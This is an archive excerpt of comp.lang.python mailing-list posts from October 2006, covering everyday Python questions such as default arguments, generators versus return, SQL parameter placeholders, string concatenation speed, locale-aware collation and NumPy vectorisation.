returning lots of values it burdens the outer function with handling the 
list which it wouldn't otherwise need.

Frederic




From ldo at geek-central.gen.new_zealand  Mon Oct  9 04:22:15 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 21:22:15 +1300
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>	<mailman.1374.1160073684.10491.python-list@python.org>
	<egcghv$viv$3@lust.ihug.co.nz>
	<mailman.98.1160379324.11739.python-list@python.org>
Message-ID: <egd0pp$u3r$3@lust.ihug.co.nz>

In message <mailman.98.1160379324.11739.python-list at python.org>, Steve
Holden wrote:

> Lawrence D'Oliveiro wrote:
>> In message <mailman.1374.1160073684.10491.python-list at python.org>, Steve
>> Holden wrote:
>> 
>> 
>>>Credit card numbers should be encrypted in the database, of course, but
>>>they rarely are (even by companies whose reputations imply they ought to
>>>know better).
>> 
>> How would encryption help? They'd still have to be decrypted to be used.
> 
> Indeed they would, but with proper key management the probability that
> they can be stolen from a database in their plaintext form is rather
> lower. Just last week a police employee in my class told us of an
> exploit where a major credit card copmany's web site had been hacked
> using a SQL injection vulnerability. This is usually done with the
> intent of gaining access to credit card data.

If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.


From nospam at jollans.com  Tue Oct  3 17:12:13 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Tue, 3 Oct 2006 23:12:13 +0200
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <efujnd$ima$03$6@news.t-online.com>

On Tue, 03 Oct 2006 13:16:57 -0700, "LaundroMat" <Laundro at gmail.com> let
this slip:

> Suppose I have this function:
> 
> def f(var=1):
> return var*2
> 
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..
> 
> Thanks in advance.

a) if you feel that your program needs to pass a value, fix the program.

b)
>>> def f(v=1):
...   return v*2
... 
>>> f()
2
>>> f(1)
2
>>> f(*[1])
2
>>> f(*[])
2
>>> 

*[list] is the reverse of def f(*args)

-- 
Thomas Jollans alias free-zombie


From rpdooling at gmail.com  Mon Oct 30 08:31:36 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 30 Oct 2006 05:31:36 -0800
Subject: IE7 skulduggery?
Message-ID: <1162215096.900543.78860@k70g2000cwa.googlegroups.com>

Hello everyone:

I use Firefox, but perhaps unwisely accepted the XP update to IE7 when
it came in. When I check under folder options, my htm and html files
are still associated with FireFox.

However, now when I attempt to use my nice site launcher that I wrote
in Python (which has worked fine for months), I get this new error:

d:\python>l clp
Traceback (most recent call last):
  File "d:\python\l.py", line 208, in ?
    launch(obj)
  File "d:\python\l.py", line 120, in launch
    webbrowser.open(sites[obj][1])
  File "C:\Python24\lib\webbrowser.py", line 43, in open
    get().open(url, new, autoraise)
  File "C:\Python24\lib\webbrowser.py", line 250, in open
    os.startfile(url)
WindowsError: [Errno 1155] No application is associated with the
specified file for this operation:
'http://groups.google.com/group/comp.lang.python'

On my other machines, which have not yet received the IE7 update, the
same script runs fine and launches the sites in FireFox.

Anybody else seeing something like this post IE7?

Also, suddenly links don't open inside Thunderbird, but they do inside
Outlook. How convenient. Upgrading to FireFox 2.0 didn't change
anything.

Live and learn.

rd



From aisaac0 at verizon.net  Mon Oct  2 11:10:41 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Mon, 02 Oct 2006 15:10:41 GMT
Subject: SimpleParse installer available for 2.5
Message-ID: <RZ9Ug.820$If3.259@trnddc07>

This is important for my move to Python 2.5,
so I thought others might want to know...

Alan Isaac




From johnjsal at NOSPAMgmail.com  Sun Oct  1 12:48:14 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Sun, 01 Oct 2006 12:48:14 -0400
Subject: question about scope
In-Reply-To: <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>
	<mailman.1025.1159679073.10491.python-list@python.org>
	<451f52f1$0$1803$c3e8da3@news.astraweb.com>
	<4KITg.18490$Ij.7035@newssvr14.news.prodigy.com>
Message-ID: <451ff246$0$30811$c3e8da3@news.astraweb.com>

James Stroud wrote:

> This is because that list is an attribute of the class. Instances have a 
> reference of this class attribute, but it can be replaced by an 
> attribute of the instance with self (self is a reference to the instance 
> and not the class. This example might help:

Ah, I see! So within my create_menubar() method, would it better to 
refer to menu_items as DataAccessFrame.menu_items? Or does it not matter 
in this case, since I'm not reassigning it per instance?


From grante at visi.com  Fri Oct 13 11:20:56 2006
From: grante at visi.com (Grant Edwards)
Date: Fri, 13 Oct 2006 15:20:56 -0000
Subject: Starting out.
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160715256.698199.64540@h48g2000cwc.googlegroups.com>
	<1160749619.514641.11870@k70g2000cwa.googlegroups.com>
	<1160752561.4515.1.camel@dsktp>
Message-ID: <12ivbmoav9liff8@corp.supernews.com>

On 2006-10-13, Andrew Poelstra <apoelstra at false.site> wrote:
> On Fri, 2006-10-13 at 07:26 -0700, Ahmer wrote:
>> From what I can see Python and PHP have VERY simillar syntax (sorry if
>> I offended anyone but I am a "n00b".)

> 2) You may be thinking of Perl, which has a very similar syntax to PHP.

Perl has syntax?

> In all the languages I've seen, Python is in a class of its own.

-- 
Grant Edwards                   grante             Yow!  Hand me a pair of
                                  at               leather pants and a CASIO
                               visi.com            keyboard -- I'm living
                                                   for today!


From ironpythonster at gmail.com  Tue Oct 17 03:44:34 2006
From: ironpythonster at gmail.com (Kevien Lee)
Date: Tue, 17 Oct 2006 15:44:34 +0800
Subject: How to paras such echo string effection?
Message-ID: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>

Hi everyone,

When i decide to paras a string,which return from running a CVS command,it's
amaze that i want to get some file of the echo string ,how to make paras
process more effect?

the problem detail as follow that:

run command:"cvs  status -r" it will return all the file list in as follow?


===================================================================
File: file01.xls Status: Up-to-date

   Working revision: 1.1
   Repository revision: 1.1 /msg/file01.xls,v
   Sticky Tag:  (none)
   Sticky Date:  (none)
   Sticky Options: -kb

cvs status: Examining 20060815
===================================================================
File: file02.xls Status: Up-to-date

   Working revision: 1.1
   Repository revision:/msg/file02.xls ,v
   Sticky Tag:  (none)
   Sticky Date:  (none)
   Sticky Options: -kb

cvs status: Examining 20060816
===================================================================

Now ,i just what to know the file of "Status",if paras all should be

coast expenses,is there any effect way?

PS:is there any python lib for CVS ?



Thanks

Best regards

Kevin Lee
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From scott.daniels at acm.org  Tue Oct 10 00:21:19 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Mon, 09 Oct 2006 21:21:19 -0700
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
Message-ID: <452b17a7$1@nntp0.pdx.net>

James Stroud wrote:
>> I'm looking for a program to do line-drawings in 3d, with output to 
>> postscript or svg or pdf, etc. I would like to describe a scene with 
>> certain 1-3d elements oriented in 3d space with dashed or colored 
>> lines and filled or transparent surfaces (or maybe semitransparent).


Take a look at VPython -- easy to start, 3-D display (wall-eye /
cross-eye) easy to run on.

-- 
--Scott David Daniels
scott.daniels at acm.org


From gagsl-py at yahoo.com.ar  Sat Oct  7 03:14:42 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Sat, 07 Oct 2006 04:14:42 -0300
Subject: Subclassing built-in classes
In-Reply-To: <200610061158.21402.maric@aristote.info>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051700.00482.maric@aristote.info>
	<eg3iid$ada$1@sea.gmane.org>
	<200610061158.21402.maric@aristote.info>
Message-ID: <7.0.1.0.0.20061007031449.039efa98@yahoo.com.ar>

At Friday 6/10/2006 06:58, Maric Michaud wrote:

>As the first post said "...couldn't python (in theory)...", I was discussing
>if it would be possible for python (in some future version) to manage the
>literals so that they use the constructors in the __builtin__ module, I
>didn't say it works actually (I'm aware it's not the case).

The idea looks crazy for me... You suggest that code like this:

         x = 12 + 6.0 - len('ABCD'

would be evaluated at run time as it were:

         x = int('12') + float('6.0') - len(str('ABCD'))

Certainly would slow down the whole execution time *a*lot*, with no 
benefit for almost nobody, if *every* reference to *any* literal in 
the code calls a python function at run time.
And unless you return *exactly* the same object as now, almost all 
code would break!
Do you have any useful usage for this?


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From fulvio at tm.net.my  Sat Oct 21 05:41:04 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 21 Oct 2006 17:41:04 +0800
Subject: The fastest search
Message-ID: <200610211741.04359.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

I'm poor in knoweledge of python, sorry. What's the fastest result between :

if item in alist:
         do_something

or

if adictionay has_key(item):
         do_something

Is there some trick to apply the best search in wise use of resources while 
using the above said methods?

F



From gagsl-py at yahoo.com.ar  Wed Oct 18 22:06:03 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 23:06:03 -0300
Subject: Flexable Collating (feedback please)
In-Reply-To: <WPzZg.6719$fl.1263@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08>
	<mailman.726.1161212153.11739.python-list@python.org>
	<WPzZg.6719$fl.1263@dukeread08>
Message-ID: <7.0.1.0.0.20061018223515.04259c40@yahoo.com.ar>

At Wednesday 18/10/2006 21:36, Ron Adam wrote:

> >>          if self.flag & CAPS_FIRST:
> >>              s = s.swapcase()
> >
> > This is just coincidental; it relies on (lowercase)<(uppercase) on the
> > locale collating sequence, and I don't see why it should be always so.
>
>The LC_COLLATE structure (in the python.exe C code I think) controls 
>the order
>of upper and lower case during collating.  I don't know if there is anyway to
>examine it unfortunately.

LC_COLLATE is just a #define'd constant. I don't know how to examine 
the collating definition, either.

>If there was a way to change the LC_COLLATE structure, I wouldn't 
>need to resort
>to tricks like s.swapcase().  But without that info, I don't know of 
>another way.
>
>Maybe changing the CAPS_FIRST to REVERSE_CAPS_ORDER would do?

At least it's a more accurate name.
There is an indirect way: test locale.strcoll("A","a") and see how 
they get sorted. Then define options CAPS_FIRST, LOWER_FIRST 
accordingly. But maybe it's too much trouble...

> > You should try to make this part a bit more generic. If you are
> > concerned about locales, do not use "comma" explicitely. In other
> > countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2.
>
>See the most recent version of this I posted.  It is a bit more generic.
>
>        news://news.cox.net:119/PNxZg.6714$fl.4591 at dukeread08
>
>Maybe a 'comma_is_decimal' option?

I'd prefer to use the 'decimal_point' and 'thousands_sep' from the 
locale information. That would be more coherent with the locale usage 
along your module.

>Options are cheep so it's no problem to add them as long as they 
>make sense. ;-)
>
>These options are what I refer to as mid-level options.  The programmer does
>still need to know something about the data they are 
>collating.  They may still
>need to do some preprocessing even with this, but maybe not as much.
>
>In a higher level collation routine, I think you would just need to specify a
>named sort type, such as 'dictionary', 'directory', 'enventory' and 
>it would set
>the options and accordingly.  The problem with that approach is the 
>higher level
>definitions may be different depending on locale or even the field 
>it is used in.

Sure. But your module is a good starting point for building a more 
high-level procedure.

> >>      The NUMERICAL option orders leading and trailing digits as numerals.
> >>
> >>          >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2']
> >>          >>> collated(t, NUMERICAL)
> >>          ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2']
> >
> >  From the name "NUMERICAL" I would expect this sorting: b2, 4abc, a5,
> > a10.2, 13.5b, 20abc, a40 (that is, sorting as numbers only).
> > Maybe GROUP_NUMBERS... but I dont like that too much either...
>
>How about 'VALUE_ORDERING' ?
>
>The term I've seen before is called natural ordering, but that is 
>more general
>and can include date, roman numerals, as well as other type.

Sometimes that's the hard part, finding a name which is concise, 
descriptive, and accurately reflects what the code does. A good name 
should make obvious what it is used for (being these option names, or 
class names, or method names...) but in this case it may be difficult 
to find a good one. So users will have to read the documentation (a 
good thing, anyway!)


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From horpner at yahoo.com  Mon Oct 16 15:20:44 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Mon, 16 Oct 2006 19:20:44 GMT
Subject: Need a strange sort method...
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<mailman.589.1161025470.11739.python-list@python.org>
Message-ID: <gYQYg.6629$5i7.1593@newsreading01.news.tds.net>

On 2006-10-16, Tim Chase <python.list at tim.thechases.com> wrote:
> If you need it in a flat list, rather than as a list of
> chunk_size lists (which are handy for iterating over in many
> cases), there are ways of obtaining it, such as the hackish
>
> >>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
>
> There are likely good recipes for flattening a list.  I just
> happen not to have any at my fingertips.

Actually, there isn't a good recipe in Python for flattening a
list. They all come out tasting like Circus Peanuts (Turkish
Delight for you non-Yanks).

-- 
Neil Cerutti


From python.list at tim.thechases.com  Wed Oct  4 15:38:56 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 04 Oct 2006 14:38:56 -0500
Subject: CGI Tutorial
In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <45240DD0.3060706@tim.thechases.com>

> I'm just building a Python CGI Tutorial and would appreciate
> any feedback from the many experts in this list.

First item of feedback...post something on which to give 
feedback, such as a link to the work in progress. :)

-tkc





From fredrik at pythonware.com  Thu Oct 19 15:22:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 21:22:49 +0200
Subject: Calling a definition
In-Reply-To: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>
Message-ID: <eh8jaj$ste$1@sea.gmane.org>

"elake" (if that's supposed to be swedish, that should be "elak") wrote:

> I have a piece of code that I need some help with. It is supposed (in
> my mind at least) take two arguments, a start path and a file
> extension. Then when called it should return each of the file paths
> that are found matching the criteria. It is only returning the first
> file that it finds. What am I doing wrong?

you can only return from a function once for each call.

> # this is in a file called findFile.py
> def findFileExt(startPath, fileExt):
>     for root, dirs, files in os.walk(startPath):
>         for file in files:
>             if file.endswith(fileExt):
>                 filePath = str(os.path.join(root, file))
>                 return filePath

and here you're doing exactly that.

if you expect to be able to loop over the return value from findFileExt, 
replace that "return" with a "yield" (this turns the function into a 
generator).

if you want to return a sequence, change the loop so it appends stuff to 
a list, and return that list when you're done.

</F>



From jmdeschamps at gmail.com  Tue Oct 17 06:34:32 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 17 Oct 2006 03:34:32 -0700
Subject: Any idea how to do this in Python?
In-Reply-To: <1161079005.891146.283920@i42g2000cwa.googlegroups.com>
References: <1161072836.884393.204810@f16g2000cwb.googlegroups.com>
	<Ut0Zg.8115$Lv3.6453@newsread1.news.pas.earthlink.net>
	<1161079005.891146.283920@i42g2000cwa.googlegroups.com>
Message-ID: <1161081272.835869.66120@i42g2000cwa.googlegroups.com>


Lad wrote:
> Dennis,
> Thank you for your reply
> You say:
> >Pretend you are the computer/application/etc.  How would YOU
> > perform such a ranking?
> That is what I do not know , how to perform such ranking.
> Do you have any idea?
>
> Regards,
> Lad.
take a piece of paper to *play* the use-case you wrote about.

Do things one step at a time, and figure what is needed,

Example:
1- a user is on a web page # ok I need a web page
2- a user sends info to the server # ok the web page needs a input
widget of sorts AND I need a server app
3- analyse (or decide ) what type of info the user may send (selected
choices, free text, etc)
4- the user must be identified in some way (so to discriminate him from
others), so the also must be that type of input...

etc, etc
At the end you will have a better picture of things required - then you
build them ;-)

Jean-Marc



From paul at subsignal.org  Sat Oct 28 06:44:39 2006
From: paul at subsignal.org (paul)
Date: Sat, 28 Oct 2006 12:44:39 +0200
Subject: correct parameter usage for "select * where id in ..."
In-Reply-To: <1162030538.183789.249570@e3g2000cwe.googlegroups.com>
References: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>
	<1162030538.183789.249570@e3g2000cwe.googlegroups.com>
Message-ID: <ehvcah$1fc$1@sea.gmane.org>

Frank Millman schrieb:
> If you want it to handle a variable number of values, you will have to
> programmatically construct the sql statement with the appropriate
> number of parameters.
>>> vals = (1,2,3,4,5)
>>> sql = "select * from table where value in ("+','.join("?"*len(vals))+")"
>>> print sql
'select * from table where value in (?,?,?,?,?)'

cheers
 Paul



From larry at hastings.org  Tue Oct  3 11:11:29 2006
From: larry at hastings.org (Larry Hastings)
Date: 3 Oct 2006 08:11:29 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
	<1159774531.004015.7390@e3g2000cwe.googlegroups.com>
	<1159853705.946422.70220@b28g2000cwb.googlegroups.com>
	<1159855375.951848.195790@m73g2000cwd.googlegroups.com>
Message-ID: <1159888289.071764.274400@e3g2000cwe.googlegroups.com>

John Machin wrote:
> Don't you mean y = x[1] or something like that? y = "".join(x) looks
> like a copy-paste error.

You're right, by gum.  Worse than that, my benchmark wasn't actually
*doing* much of anything there; at the end of the run x was still
length 0.  That was sloppy, and I apologize.

I cannot find a speedy equivalent to the 'xappend = x.append' trick for
string concatenation using +.  'operator.__iadd__' is slower, a labored
attempt using 'x = x("a").__add__' is better but still slower.  So far,
just calling 'x += "a"' is the fastest way, and that's 4.4s, still beat
by the 'xappend = x.append' trick at 3.2s.


> Playing the devil's advocate here: 10M adds each of a single byte
> followed by 1 render doesn't seem very typical. How about [...]
> Some of us have Windows boxes and don't have the necessary MS compiler.
> Is there any chance of someone making a 2.5+patch Windows binary?

I actually developed it on Windows.  Here you go:
    http://larryhastings.com/programming/lch.python.2.5.concat.zip
That contains the new python25.dll and my hacked-up benchmark script.
Just back up your existing python25.dll, then unzip to your Python
directory, and you're ready to rock.

Enjoy,


/larry/



From skip at pobox.com  Fri Oct 13 09:08:45 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 13 Oct 2006 08:08:45 -0500
Subject: Cannot force configure/setup.py to pick up location of readline
	(SFWrline) on Solaris 10
In-Reply-To: <ego1sl$18p$1@sea.gmane.org>
References: <ego1sl$18p$1@sea.gmane.org>
Message-ID: <17711.36829.198093.974709@montanaro.dyndns.org>


    Chris> However, make doesn't build a readline module and I think this is
    Chris> because setup.py is not taking the custom *FLAGS into account.
    Chris> Even if I export them as environment variables, I get no readline
    Chris> module.

Try 

    ./python setup.py build_ext --help

There are a couple flags you can give to the build_ext command that direct
to the appropriate include and library directories.

It would be nice if distutils could be persuaded to listen to *FLAGS, but it
doesn't.  Maybe someone reading this would like to make it so.

Skip


From Luwian at gmail.com  Mon Oct 23 16:49:49 2006
From: Luwian at gmail.com (Lucas)
Date: 23 Oct 2006 13:49:49 -0700
Subject: How to get each pixel value from a picture file!
Message-ID: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>

I want to change some pixel value in the picture file. how to do it?

If I read the file in binary mode, a bit == a pixel ?

Thanks



From paul at boddie.org.uk  Mon Oct  9 11:58:54 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 9 Oct 2006 08:58:54 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<egdcop$4c0$1@wake.carmen.se>
	<1160400990.785258.17750@m73g2000cwd.googlegroups.com>
	<LvCdnUYV44ww9bfYnZ2dnUVZ_oqdnZ2d@speakeasy.net>
Message-ID: <1160409534.490599.90170@h48g2000cwc.googlegroups.com>

A.M. Kuchling wrote:
> On 9 Oct 2006 06:36:30 -0700,
>  Paul Boddie <paul at boddie.org.uk> wrote:
> > ...  Meanwhile, despite the python.org codebase presumably running
> > various commercial sites, ...
>
> Nothing should have given you this impression!  python.org's
> formatting is handled through a custom script called Pyramid, and if
> you poke around with enough determination you can find the SVN
> repository's URL.  But it's never been released as a tarball, and
> isn't used by any other sites.

I believed that Pollenation had deployed other sites using the same
technology. Certainly, they appear to be members of the Nevow community
on which Pyramid somehow seems to be based. Once upon a time, I did
promise to try and make Debian packages available for Pyramid so that
people might be more inclined to use the toolchain and thus contribute
python.org content, but given the complexity of the dependencies
(Twisted 2, some YAML parser that conflicts with the Python bindings of
the most widely-deployed YAML parser, Nevow, other stuff) I decided
that my time was arguably better spent elsewhere, unfortunately.

> As an experiment I tried formatting the python.org site using
> rest2web; that looks promising, if I ever figure out how sidebars
> work, and may someday replace Pyramid.

The python.org redesign was another matter of major community
controversy, of course, although I don't have as much to say on that
matter. One day, the python.org Wiki may have invaded enough of the
visible "reference space" on the site to make the fa?ade so thin as to
be dispensible, although I'm certainly not compaigning for such a thing
to happen.

Paul



From makerjoe at gmail.com  Tue Oct 24 12:51:09 2006
From: makerjoe at gmail.com (makerjoe)
Date: 24 Oct 2006 09:51:09 -0700
Subject: python servlet engine
In-Reply-To: <453dca4b$0$22735$426a34cc@news.free.fr>
References: <1161652946.506350.207550@b28g2000cwb.googlegroups.com>
	<453dca4b$0$22735$426a34cc@news.free.fr>
Message-ID: <1161708669.336399.323340@f16g2000cwb.googlegroups.com>

hi bruno

according to the one most used over the python developers community
and/or the one who has the easier implementation method

makerjoe


Bruno Desthuilliers ha escrito:

> makerjoe wrote:
> > hi, all
> > i would like to know which is the best PSE
>
> "best" according to what metrics ?
>
> > i have to choose to use
> > servlets with mod_python in my HRYDROGEN project
> > (http://makerjoe.sytes.net/pycrud/query.psp)
>
>
>
>
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'onurb at xiludom.gro'.split('@')])"



From aahz at pythoncraft.com  Sun Oct  8 00:10:34 2006
From: aahz at pythoncraft.com (Aahz)
Date: 7 Oct 2006 21:10:34 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
	<eg8v0u$g3m$1@panix3.panix.com>
	<2vXVg.139282$_J1.908700@twister2.libero.it>
Message-ID: <eg9tnq$ikg$1@panix3.panix.com>

In article <2vXVg.139282$_J1.908700 at twister2.libero.it>,
Giovanni Bajo <noway at sorry.com> wrote:
>Aahz wrote:
>> Giovanni removed his own attribution:
>>>
>>> Are you ever going to try and make a point which is not "you are not
>>> entitled to have opinions because you do not act"? Your sarcasm is
>>> getting annoying. And since I'm not trolling nor flaming, I think I
>>> deserve a little bit more of respect.
>>
>> IMO, regardless of whether you are trolling or flaming, you are
>> certainly being disrespectful.  Why should we treat you with any more
>> respect than you give others?
>
>Disrespectful? Because I say that I don't agree with some specific
>requirement, trying to discuss and understand the rationale behind it?

*snort*  Now you're trying to dodge responsibility for your own words.
Normally I'd be inclined to cut you some slack because English isn't your
native language, but it's clear that you're deliberately trying to write
emotionally to encourage other people to flail around.  Here are again
some of the things you've written in this thread:

    Does this smell "Bitkeeper fiasco" to anyone else than me?
    I am impressed you do not want to understand the "why"
    most bug reports submitted by users go totally ignored for several years,

That adds up to a clear summation of disprespect in my view.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From misterwang at gmail.com  Tue Oct 17 12:12:53 2006
From: misterwang at gmail.com (Peter  Wang)
Date: 17 Oct 2006 09:12:53 -0700
Subject: Python component model
In-Reply-To: <1161066886.872563.150970@e3g2000cwe.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<mailman.163.1160452251.11739.python-list@python.org>
	<1160538736.856864.175990@i42g2000cwa.googlegroups.com>
	<1160699534.615400.115130@i42g2000cwa.googlegroups.com>
	<1161066886.872563.150970@e3g2000cwe.googlegroups.com>
Message-ID: <1161101573.420548.276270@e3g2000cwe.googlegroups.com>

Ilias Lazaridis wrote:
> Peter  Wang wrote:
> > Ilias Lazaridis wrote:
> > > what about persistency?
> >
> > Um... what about it?
>
> "
> As far as I can see, there's no persistency binding available.
>
> Is one planned?
> "
> http://groups.google.com/group/comp.lang.python/msg/dbdaedc68eee653a

This thread was just some name-calling between you and Robert Kern, but
didn't really provide any details.

I guess I'm too dumb to understand the question... Does pickle not work
for you?  What is a "persistency binding"?

-peter



From sturlamolden at yahoo.no  Wed Oct 25 14:38:40 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 25 Oct 2006 11:38:40 -0700
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1190.1161798506.11739.python-list@python.org>
References: <mailman.1162.1161769345.11739.python-list@python.org>
	<453F4A52.3050200@v.loewis.de>
	<mailman.1174.1161777956.11739.python-list@python.org>
	<1161797145.981948.123730@b28g2000cwb.googlegroups.com>
	<mailman.1190.1161798506.11739.python-list@python.org>
Message-ID: <1161801520.091880.290030@e3g2000cwe.googlegroups.com>


Robin Becker wrote:

> it's probably wonderful, but I don't think I can ask people to add numpy to the
> list of requirements for reportlab :)

Maybe NumPy makes it into the core Python tree one day. At some point
other Python users than die-hard scientists and mathematicans will
realise that for and while loops are the root of all evil when doing
CPU bound operations in an interpreted language. Array slicing and
vectorised statements can be faster by astronomical proportions.


Here is one example: http://tinyurl.com/y79zhc

This statement that required twenty seconds to execute

    dim = size(infocbcr);

    image = zeros(dim(1), dim(2));

    for i = 1:dim(1)
         for j = 1:dim(2)
             cb = double(infocbcr(i,j,2));
             cr = double(infocbcr(i,j,3));
             x = [(cb-media_b); (cr-media_r)];
             %this gives a mult of 1*2 * 2*2 * 2*1
             image(i,j) = exp(-0.5* x'*inv(brcov)* x);
         end
     end

could be replaced with an equivalent condensed statement that only
required a fraction of a second:

image = reshape(exp(-0.5*sum(((chol(brcov)')\ ...
   ((reshape(double(infocbcr(:,:,2:3)),dim(1)*dim(2),2)')...
   -repmat([media_b;media_r],1,dim(1)*dim(2)))).^2)'),dim(1),dim(2));

This was Matlab, but the same holds for Python and NumPy. The overhead
in the first code sniplet comes from calling the interpreter inside a
tight loop. That is why loops are the root of evilness when doung CPU
bound tasks in an interpreted language. I would think that 9 out of 10
tasks most Python users think require a C extension is actually more
easily solved with NumPy. This is old knowledge from the Matlab
community: even if you think you need a "MEX file" (that is, a C
extension for Matlab), you probably don't. Vectorize and it will be
fast enough.



From Jeff.Demel at JavelinDirect.com  Wed Oct  4 18:05:31 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Wed, 4 Oct 2006 17:05:31 -0500
Subject: Where is Python in the scheme of things?
Message-ID: <136ED738BD4F1545B97E4AC06FF63707199FEB@DMSP-MSG-EVS01.mail.pvt>

Tim Chase wrote:
>
>Visual Basic compared to Python
>-------------------------------
>VB shares some interesting aspects with Python...namely it's much
>more readable than the other two. It's syntax is clunky at best,
>with goto's, and cobbled-on exception handling (at least in
>VB-Classic, as opposed to VB.Net with which I have no experience,
>thank goodness). It's good for hammering together a quick form
>and dropping some code behind it.  However, it's not exactly
>portable to other platforms (though there is the Gambas project
>that offers VB-ish development on *nix platforms).  It's not
>terribly object-oriented, so doing OO-related stuff is next to
>impossible.  Functions aren't first-class objects, so you have to
>do some funky workarounds. 

I don't know anything about the Gambas project, but your evaluation here
of VB sounds like you may not have seen it in 5 or 6 years.  Try VB.NET
and see.  Good OO and exception handling.  Fast development.  Clean
looking code.  GoTos are a thing of the far past, hell I didn't even use
them in VB6.

Of course, I do prefer Python.  And so will you, even if you check out
VB.  I just didn't want to see incorrect information on VB get spread
like that.  There are enough real problems with it.  :)

-Jeff
